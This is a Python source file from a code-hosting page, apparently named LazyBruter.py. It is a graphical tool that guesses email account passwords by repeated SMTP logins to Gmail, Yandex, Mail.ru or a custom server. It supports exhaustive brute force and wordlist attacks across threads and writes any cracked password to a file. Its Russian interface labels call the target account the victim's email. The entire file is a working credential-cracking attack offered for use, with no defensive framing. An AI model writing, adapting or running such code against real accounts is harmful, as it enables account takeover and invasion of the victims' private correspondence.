-
Notifications
You must be signed in to change notification settings - Fork 0
/
LazyBruter.py
147 lines (127 loc) · 6.49 KB
/
LazyBruter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import flet as ft
import smtplib
import itertools
from time import sleep
from threading import Thread
def connect_to_server(server, port, protocol):
smtpserver = None
if protocol == "ssl":
smtpserver = smtplib.SMTP_SSL(server, port)
elif protocol == "tls":
smtpserver = smtplib.SMTP(server, port)
smtpserver.ehlo()
return smtpserver
def main(page: ft.Page):
page.title = "Email Brute Force"
page.theme_mode = "light"
def on_submit(e):
user = user_input.value
smtpserver = None
if smtp_server.value == "Gmail":
smtpserver = connect_to_server("smtp.gmail.com", 587, "tls")
elif smtp_server.value == "Yandex":
smtpserver = connect_to_server("smtp.yandex.ru", 465, "ssl")
elif smtp_server.value == "Mail.ru":
smtpserver = connect_to_server("smtp.mail.ru", 465, "ssl")
elif smtp_server.value == "Custom":
custom_server = custom_server_input.value
custom_port = int(custom_port_input.value)
custom_protocol = custom_protocol_input.value.lower()
smtpserver = connect_to_server(custom_server, custom_port, custom_protocol)
page.add(ft.Text("Connected to server, ready to attack.", color="green"))
thread_count = int(thread_count_input.value)
if attack_method.value == "Brute Force":
min_pass = int(min_pass_input.value)
start_brute_force_attack(smtpserver, user, min_pass, 0.0002 if pi_option.value else 0, thread_count)
elif attack_method.value == "Dictionary":
passwfile_path = dict_path_input.value
start_dictionary_attack(smtpserver, user, passwfile_path, thread_count)
def start_brute_force_attack(smtpserver, user, min_pass, delay, thread_count):
def brute_force_thread(minlen, maxlen, delay):
for password in generate_passwords("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!#$%&'*+-/=?^_`{|}~;", minlen, maxlen):
sleep(delay)
try:
smtpserver.login(user, password)
page.add(ft.Text(f"[+] Пароль подобран: {password}", color="green"))
with open("password_cracked.txt", "w") as file:
file.write(f"Емейл: {user}\nПароль: {password}\n")
page.add(ft.Text("Пароль сохранен! Ищи <password_cracked.txt> в папке с брутером", color="blue"))
return
except smtplib.SMTPAuthenticationError:
page.add(ft.Text(f"[!] пароль неверен: {password}", color="red"))
def generate_passwords(chars, minlen, maxlen):
for n in range(minlen, maxlen + 1):
for perm in itertools.product(chars, repeat=n):
yield ''.join(perm)
threads = []
for i in range(thread_count):
t = Thread(target=brute_force_thread, args=(min_pass, 64, delay))
threads.append(t)
t.start()
for t in threads:
t.join()
def start_dictionary_attack(smtpserver, user, passwfile_path, thread_count):
with open(passwfile_path, "r") as passwfile:
passwords = passwfile.readlines()
def dictionary_thread(passwords):
for password in passwords:
password = password.strip()
try:
smtpserver.login(user, password)
page.add(ft.Text(f"[+] Пароль подобран: {password}", color="green"))
with open("password_cracked.txt", "w") as file:
file.write(f"Емейл: {user}\nПароль: {password}\n")
page.add(ft.Text("Пароль сохранен! Ищи <password_cracked.txt> в папке с брутером", color="blue"))
return
except smtplib.SMTPAuthenticationError:
page.add(ft.Text(f"[!] пароль неверен: {password}", color="red"))
chunk_size = len(passwords) // thread_count
threads = []
for i in range(thread_count):
chunk = passwords[i*chunk_size:(i+1)*chunk_size]
t = Thread(target=dictionary_thread, args=(chunk,))
threads.append(t)
t.start()
for t in threads:
t.join()
def update_attack_options(e):
min_pass_input.visible = attack_method.value == "Brute Force"
dict_path_input.visible = attack_method.value == "Dictionary"
page.update()
def update_smtp_options(e):
custom_server_input.visible = smtp_server.value == "Custom"
custom_port_input.visible = smtp_server.value == "Custom"
custom_protocol_input.visible = smtp_server.value == "Custom"
page.update()
user_input = ft.TextField(label="Введите почту жертвы")
attack_method = ft.Dropdown(label="Метод атаки", options=[
ft.dropdown.Option("Brute Force"),
ft.dropdown.Option("Dictionary")
], on_change=update_attack_options)
smtp_server = ft.Dropdown(label="SMTP сервер", options=[
ft.dropdown.Option("Gmail"),
ft.dropdown.Option("Yandex"),
ft.dropdown.Option("Mail.ru"),
ft.dropdown.Option("Custom")
], on_change=update_smtp_options)
custom_server_input = ft.TextField(label="SMTP сервер (Custom)", visible=False)
custom_port_input = ft.TextField(label="Порт (Custom)", visible=False)
custom_protocol_input = ft.TextField(label="Протокол (tls/ssl)", visible=False)
min_pass_input = ft.TextField(label="Минимальный размер пароля", visible=False)
dict_path_input = ft.TextField(label="Путь до словаря", visible=False)
thread_count_input = ft.TextField(label="Количество потоков", value="1")
pi_option = ft.Checkbox(label="Включить модификации для Raspberry PI")
page.add(
user_input,
attack_method,
smtp_server,
custom_server_input,
custom_port_input,
custom_protocol_input,
min_pass_input,
dict_path_input,
thread_count_input,
pi_option,
ft.ElevatedButton("Начать атаку", on_click=on_submit)
)
ft.app(target=main)